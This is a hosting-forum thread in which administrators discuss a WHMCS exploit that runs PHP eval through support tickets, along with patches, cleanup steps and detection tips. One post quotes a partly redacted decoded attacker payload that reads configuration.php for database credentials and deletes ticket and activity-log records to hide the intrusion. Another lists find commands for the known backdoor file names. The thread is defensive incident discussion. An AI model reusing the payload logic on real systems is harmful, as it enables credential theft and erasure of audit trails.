Web Hosting Talk : Web Hosting Main Forums : Hosting Security and Technology : WHMCS Attack through php eval - Is my WHMCS is hacked?

[m8internet]

Originally Posted by cpoalmighty

Isn't dl a standard WHMCS file?
What do we have to look for specifically?

Yes, dl.php is a WHMCS system file
Look at the date of the files on FTP
If they have the same date as the support ticket then you know it has been compromised

As I posted some time ago, the exploit assumes eval is ON
My solution was to turn eval OFF
Obviously if you need to use eval in php then you need to apply the patch

Equally, only my customers can submit support tickets
As a result this attacker had to register as a new customer first
Clearly it is a person rather than a bot as they took the time to make sure they put the correct city (to match the IP address from Saudi Arabia) and even answered some of the questions!

[ttgt]

Originally Posted by bear

The solution appears to be to apply the patch and possibly block subjects that begin with that tag. If you have a mod_sec rule that defeats this, that should be no problem.

Hi,i use whm/cpanel and install whmcs on it,can i ask how do you use mod_sec rule to secure it more ? thanx

[cpoalmighty]

Originally Posted by m8internet

Yes, dl.php is a WHMCS system file
Look at the date of the files on FTP
If they have the same date as the support ticket then you know it has been compromised

As I posted some time ago, the exploit assumes eval is ON
My solution was to turn eval OFF
Obviously if you need to use eval in php then you need to apply the patch

Equally, only my customers can submit support tickets
As a result this attacker had to register as a new customer first
Clearly it is a person rather than a bot as they took the time to make sure they put the correct city (to match the IP address from Saudi Arabia) and even answered some of the questions!

Good detective work

I'm safe because I just double checked it (that means that the patch is working )

<<<snipped my content >>>

[msam029]

This is really a great security issue is WHMCS rolled out any patch for it

Originally Posted by DewlanceHosting

I decode his code through base 64decoder..



$text=file_get_contents("configuration.php");
REMOVED.....
eval($text);

$db=mysql_connect($db_host,$db_username,$db_password) or die("Can't open connection to MySQL");
mysql_select_db($db_name) or die("Can't select database");
$delete ="DELETE from tbltickets WHERE title like 0x257B7068707D25;";
mysql_query($delete);
$delete2 ="DELETE from tblactivitylog WHERE ipaddr='".$_SERVER['REMOTE_ADDR']."';";
REMOVED!!!!! so others will not use this...

[brianoz]

Originally Posted by msam029

This is really a great security issue is WHMCS rolled out any patch for it

Weeks ago, don't tell me you haven't been paying attention to any of the MANY notices about it - on here, in WHMCS itself, on their site, in their forums ...

[ZKuJoe]

Just wanted to add some more info to this thread. Initial exploit attempts against us were trying to place a file called b0x.php in the following directories:

templates_c
images

A quick way to search for the known exploit files:

find / | grep b0x.php
find / | grep dl.php
find / | grep wh.php
find / | grep xfr.php
find / | grep sss.php
find / | grep ed8.php
find / | grep test.php
find / | grep red.php

Just a heads up.

[zomex]

Thanks for the heads up Joe!

[iLoveHosting-UK]

The attackers keep trying to exploit our WHMCS, a couple of tickets a week. Unfortunately for them it was patched from day one of the exploit. I have had to disable them and allow they for clients only.

- Ashton

[123Andrew]

We get about 5 of these tickets a day. Patched it the day the email was received from WHMCS about it. It's most likely going to be an on-going issue (Receiving the emails meaning) for a couple of months until they realize all of the legitimate WHMCS setups have been patched.

[Maxnet]

Originally Posted by almanox

Disabling php tag has been one of the security features of smarty templates for years. Weird it created issues just now. I used to believe it was disabled in such serious projects as billing systems but seems like it was not at least in email/ticket parsing code.

I do not think the vulnerability is in the ticket code itself, but elsewhere.

A patch has been released recently, for an issue that allows any local file on the webserver to be displayed/interpreted as template file.

So I assume the ticket facility is merely used as a way to get a file uploaded, that is later executed by using the vulnerability.

Be aware that there may be other ways for an attacker to get a file uploaded on your system (e.g. through another website hosted on the same webserver).
So people should not assume they are secure because they disabled their ticket system, or set it to "customers only"
Make sure you applied the patch instead.


BTW it seems WHMCS uses {php} in their own templates as well:

$ grep -R "{php}" *
orderforms/boxes/products.tpl:{php}
orderforms/boxes/configureproductdomain.tpl:www. <input type="text" name="sld[2]" size="40" value="{$sld}" /> . <input type="text" name="tld[2]" size="7" value="{php}

So disabling code execution in smarty, might break legitimate functionality.

[djeuro]

Alright, this is whats up.

Most of you have been getting these, and don't know what is happening.

First of all, run through all of your logs, check IP's of admins logged, and actions executed.

This exploit was around before the patch was even up, so most people have been compromised before they even patched it.

Patching this, doesn't mean you are now safe and secure. What I have been seeing mostly is that the hackers have exploited and injected a backdoor page. This page can be ANYWHERE on your website. It is a page that decrypts your admin password, and pretty much anything in your system.

The solutions:
EASIEST: Backup your database, and DELETE EVERYTHING from your public_html to make sure you delete the backdoor file that was injected. Then download the newest most stable release of WHMCS, and attach it to your DB. Make sure to change ALL PASSWORDS. That includes admin, sql passwords, sql username passwords, ect.. Also change your database name and username that connects to the database. This will make sure that the backdoors have been deleted and you are now up-to-date with new passwords, and all the patched files. Lastly, if you have regular index.php files on your web server that is not attached to WHMCS, look through those files carefully for any of the possible injected code.


The second option is just much more painful. This would include looking through every single file in your system and every single folder to find any compromised files.

Hope this helps.

[bear]

Originally Posted by Maxnet

A patch has been released recently, for an issue that allows any local file on the webserver to be displayed/interpreted as template file.

That exploit was patched a while back, this eval exploit is much newer and patched on Dec 1.

Originally Posted by djeuro

This exploit was around before the patch was even up, so most people have been compromised before they even patched it.

Hard to patch before the exploit was found.

[djeuro]

Originally Posted by bear

That exploit was patched a while back, this eval exploit is much newer and patched on Dec 1.

Hard to patch before the exploit was found.

Well yes it's hard to patch it before exploit is found, that's why I just explained the steps to take now instead of saying people should have found it before the actual patch.

[brianoz]

Originally Posted by djeuro

This exploit was around before the patch was even up, so most people have been compromised before they even patched it.

Thanks for your post.

Actually it would be extremely helpful if you could be more explicit about what signs of hacking to look for. It should be possible to use "grep -r" to find exploits if we know what to look for, for example, iframes etc.

[djeuro]

Originally Posted by brianoz

Thanks for your post.

Actually it would be extremely helpful if you could be more explicit about what signs of hacking to look for. It should be possible to use "grep -r" to find exploits if we know what to look for, for example, iframes etc.

I am actually more than willing to share the whole script with you guys since one of my sites were injected with this. The more we can see about it, the more we can patch.

Contact me over PM.